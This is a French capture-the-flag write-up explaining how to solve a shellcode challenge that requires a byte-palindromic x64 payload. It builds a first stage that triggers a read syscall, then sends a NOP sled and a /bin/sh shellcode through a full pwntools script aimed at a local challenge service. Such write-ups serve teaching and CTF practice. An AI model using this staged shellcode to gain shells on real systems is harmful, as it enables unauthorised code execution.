Solution de lienep pour Palindrome

pwn x86/x64

23 mars 2026

Analyse du binaire

On remarque en regardant le challenge que c’est ce à quoi on s’attend, on envoie un shellcode en forma hexadécimal sur un script pyhon qui le transmet à un binaire x64 qui l’exécute.

Le shellcode doit passer plusieurs tests : il doit faire moins de 1024 caractères (ça va, on a de la place!), ne contenir aucune instruction de type jmp, call, syscall qui premettraient de faire bouger le rip, ne contenir que des instructions valides et enfin, être un palindrôme byte par byte!

Enfin, on remarque également que les chaines de caractères 4831C04831DB4831C94831D24831FF4831F64D31C04D31C94D31D24D31DB4D31E44D31ED4D31F64D31FF4831ED et 0f05 sont ajoutées respectivement au début et à la fin du shellcode, après les tests.

En allant sur un site comme https://defuse.ca/online-x86-assembler.htm, on comprend que ces deux bouts de shellcode mettent respectivement tous les registres sauf rsp et rip à 0, et font un syscall.

Okay. On va donc essayer de faire un syscall read qui va nous permettre d’envoyer un shellcode avec un peu moins de contraintes pour ouvrir un shell. On a donc besoin :

  • D’un rax à 0 pour signifier qu’on veut un syscall ‘read’
  • D’un rdi à 0 pour signifier qu’on veut prendre l’input sur stdin
  • D’un rsi (adresse d’écriture) qui pointe assez proche de là où l’exécution se fait pour pouvoir lire le shellcode envoyé
  • D’un rdx (nombre d’octets lus) assez grand pour pouvoir écrire ce qu’on veut
  • D’un syscall pour trigger le read

Hereusement, grâce aux deux bouts ajoutés, le rax et rdi sont déjà à 0, et le syscall se fait automatiquement à la fin. On a donc besoin de s’inquiéter que du rsi et du rdx.

rdx

Déjà si on essaye de mettre une valeur dans rdx avec une instruction comme mov dl, 0xff = "B2FF", on se rend compte que pour avoir un palindrôme il faudra replacer la valeur mise dans dl comme instruction.

Le plus simple reste encore de mettre 0x90, ce qui se transformera en NOP dans le palindrôme et ne risque pas de nous poser de problèmes.

rsi

Pour le rsi, on aimerait bien faire un push rsp; pop rsi puisque le rsp est le seul registre pushable proche de là où on veut écrire. Cependant, comme les instructions de push et de pop des registres ne font qu’un byte, il faut forcément qu’il y ait un pop rsi; push rsp dans l’autre sens après le premier, ce qui complique la chose.

La chose la plus simple à faire pour moi a été de remarquer que dans un palindrôme, le caractère central est le seul à ne pouvoir être écrit qu’une fois. Si on place le pop rsi au centre de notre payload, il reste donc un palindrôme sans avoir à faire plusieurs pop. On a donc push rsp; pop rsi; push rsp = 545E54.

Recollage

Si on colle les deux morceaux ensembles, on a donc B290545E54 ce qui donne :

0:  b2 90                   mov    dl,0x90
2:  54                      push   rsp
3:  5e                      pop    rsi
4:  54                      push   rsp

On peut rajouter un B290 la fin pour faire un palindrôme, ce qui ne change rien pour les registres :

0:  b2 90                   mov    dl,0x90
2:  54                      push   rsp
3:  5e                      pop    rsi
4:  54                      push   rsp
5:  b2 90                   mov    dl,0x90

Et efin, on rajoute des NOPs là où il faut pour compléter.

0:  90                      nop
1:  b2 90                   mov    dl,0x90
3:  54                      push   rsp
4:  5e                      pop    rsi
5:  54                      push   rsp
6:  90                      nop
7:  b2 90                   mov    dl,0x90

Si on tente d’envoyer ça au binaire, ça marche ! On se retrouve bien avec un syscall read !

Noppogan

Pour faire en sorte que l’exécution arrive bien jusqu’au shellcode qui ouvre /bin/sh, on peut utiliser la fameuse technique du Noppogan (NOPslide en anglais) et commencer le deuxième payload par plein de NOPs (b’\x90’) qui rempliront la mémoire jusqu’au rip et assurent qu’on ne crash pas sur une instruction invalde.

Solve finale

from pwn import *

elf = context.binary = ELF('./execut0r')
# p = process(['python3', "run.py"])
p = remote('localhost', 4000)

payload = b"90B290545E5490B290"

p.sendlineafter(b":\n", payload)
p.sendline(b"\x90" * 30 + asm(shellcraft.sh()))
p.interactive()